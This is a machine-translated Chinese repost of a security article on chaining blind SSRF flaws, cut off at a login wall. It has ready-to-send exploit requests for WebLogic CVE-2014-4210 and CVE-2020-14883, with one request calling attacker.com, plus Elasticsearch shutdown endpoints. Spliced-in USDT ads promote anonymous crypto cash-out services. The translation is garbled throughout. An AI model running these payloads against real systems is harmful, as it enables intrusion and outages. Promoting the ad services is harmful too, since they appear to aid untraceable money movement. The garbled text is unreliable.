常州新闻网

usdt交易所(www.caibao.it):A Glossary of Blind SSRF Chains

来源:三公开船 发布时间:2021-01-23 浏览次数:

USDT自动充值接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

原文地址:https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

导言

什么是服务器端请求伪造(SSRF)?

所谓服务器端请求伪造,简朴来说就是迫使服务器以其身份替您发送随便请求。当请求由服务器发出时,得益于服务器自身所处的网络位置,很可能有机遇接见种种内部资源。在云环境中,由于存在包罗敏感凭证或秘密信息的元数据端点,因此,SSRF会造成更大的危害。

Blind SSRF

在行使服务器端请求伪造破绽时,我们经常会发现自己所在的位置无法读取响应。在业界,这种情形通常被称为Blind SSRF。在这种情形下,我们若何验证该破绽的影响呢?对此,Justin Gardner在推特上引发了一场有趣的讨论:

“我最近发现了大量的Blind SSRF破绽。你们之前用过哪些one-shot RCE破绽作为跳板?我曾经搞过Kafka及其他系统。@[email protected]”
  — Justin Gardner (@Rhynorater) January 13, 2021

如果您可以接见内部资源,那么就可以行使许多潜在的exploit chain来证实这些破绽的影响。在这篇文章中,我们将为人人详细先容在行使blind SSRF破绽时,现在已知的种种exploit chain,而且随着新手艺的泛起,我们将连续更新本文。

本文中先容的手艺,都可以从下面的GitHub repo中找到:Blind SSRF Chains。

如果您希望为本文孝敬更多的技巧,请在GitHub上给我们发送拉取请求。

SSRF Canary

当将一个blind SSRF破绽与另一个SSRF破绽(在内部,它会举行分外的外部挪用,或者通过一个特定于应用程序的开放式重定向破绽或blind XXE破绽举行挪用)串联到一起时,我通常将它们称为SSRF canary。在这方面,Confluence、Artifactory、Jenkins和JAMF已经做了大量优异的事情。
  — Frans Rosén (@fransrosen) January 13, 2021

为了验证是否能够与内部服务或应用程序举行交互,我们可以求助于“SSRF canary”。

这时,我们可以请求一个内部URL,它会执行另一个SSRF,并向您的canary主机发送请求。如果您收到了向canary主机发出的请求,就说明您已经成功地“击中”了一个内部服务,而且该服务还能发送出站请求。

这种方式,不仅可以有用验证SSRF破绽是否可以接见内部网络或应用程序,还可以验证内部网络上是否存在某些软件。此外,您还可以将SSRF canary作为跳板,进入内部网络中更敏感的部门,详细取决于SSRF canary所在的位置。

使用DNS数据源和AltDNS查找内部主机

为了找到尽可能多的内部主机,可以行使DNS数据源找出所有指向内部主机的纪录。

在云环境中,我们经常看到ELB指向内部VPC中的主机。根据您的目的资产所在的VPC,也许可以接见统一VPC内的其他主机。

例如,假设从DNS数据源中发现了以下主机:

livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

您可以假设,es代表Elasticsearch,而且要对这个主机发动进一步的攻击。此外,您还可以将所有这些blind SSRF payload喷射到通过这种方式识别出来的所有“内部”主机上。这种方式通常能够奏效。

为了找到更多的内部主机,建议使用手中所有的DNS数据,并通过类似AltDNS这样的工具来天生排列组合,然后用快速的DNS蛮力搜索工具来剖析它们。

完成上述事情后,找出所有新发现的内部主机,并将它们用作blind SSRF chain的一部门。

侧通道泄露

当行使blind SSRF破绽时,可能会泄露一些与返回的响应有关的信息。例如,假设您通过XXE发动blind SSRF攻击,错误信息可能会解释:

  • 是否返回了一个响应
Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.

以及:

  • 主机和端口是否不可达
Error parsing request: System.Net.WebException: Unable to connect to the remote server

同样,除了XXE之外,Web应用也可能存在侧通道泄露,可以通过检查下面内容的差异举行确认:

  • 响应的状态代码

在线内部资产:端口(asset:port)的响应为“200 OK”,而离线内部资产:端口的相应为“500 Internal Server Error”。

  • 响应的内容

响应的长度(以字节为单元)是大是小,取决于您实验请求的URL是否可达。

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
  • 响应的时间

响应时间是慢照样快,取决于您试图请求的URL是否可达。

相关手艺

基于HTTP(s)的手艺

Elasticsearch

常用绑定端口:9200

当Elasticsearch在内部部署时,通常不要求举行身份验证。

如果您发现了一个可以确定状态代码的“半盲”类型的SSRF破绽,请检查以下端点是否返回200:

/_cluster/health
/_cat/indices
/_cat/health

如果您发现了一个可以发送POST请求的blind SSRF破绽,可以通过向以下路径发送POST请求来关闭Elasticsearch实例:

注重:_shutdown API已经从Elasticsearch 2.x.及后续版本中移除。也就是说,这种方式只适用于Elasticsearch 1.6及更低的版本。

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

**常用绑定端口:80、443(SSL)、7001、8888

SSRF Canary: UDDI Explorer (CVE-2014-4210)**

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http://SSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search

这种手艺也适用于GET方式:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://SSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search

这个端点还存在CRLF注入破绽:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp HTTP/1.11
X-CLRF: Injected
&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

这将天生以下请求:

[email protected]:~, nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

详情请参阅这里。

对于linux系统:

POST /console/css/%2e%2e%2fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

对于Windows系统:

POST /console/css/%2e%2e%2fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

常用绑定端口:8500、8501(SSL)

完整形貌请接见这里。

Shellshock

常用绑定端口:80、443(SSL)、8080

为了有用地测试Shellshock,需要添加一个包罗payload的头部。下面的CGI路径值得一试:

对于待测试的CGI路径清单,请接见https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4。

SSRF Canary:基于用户署理的Shellshock

登录并阅读全文
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片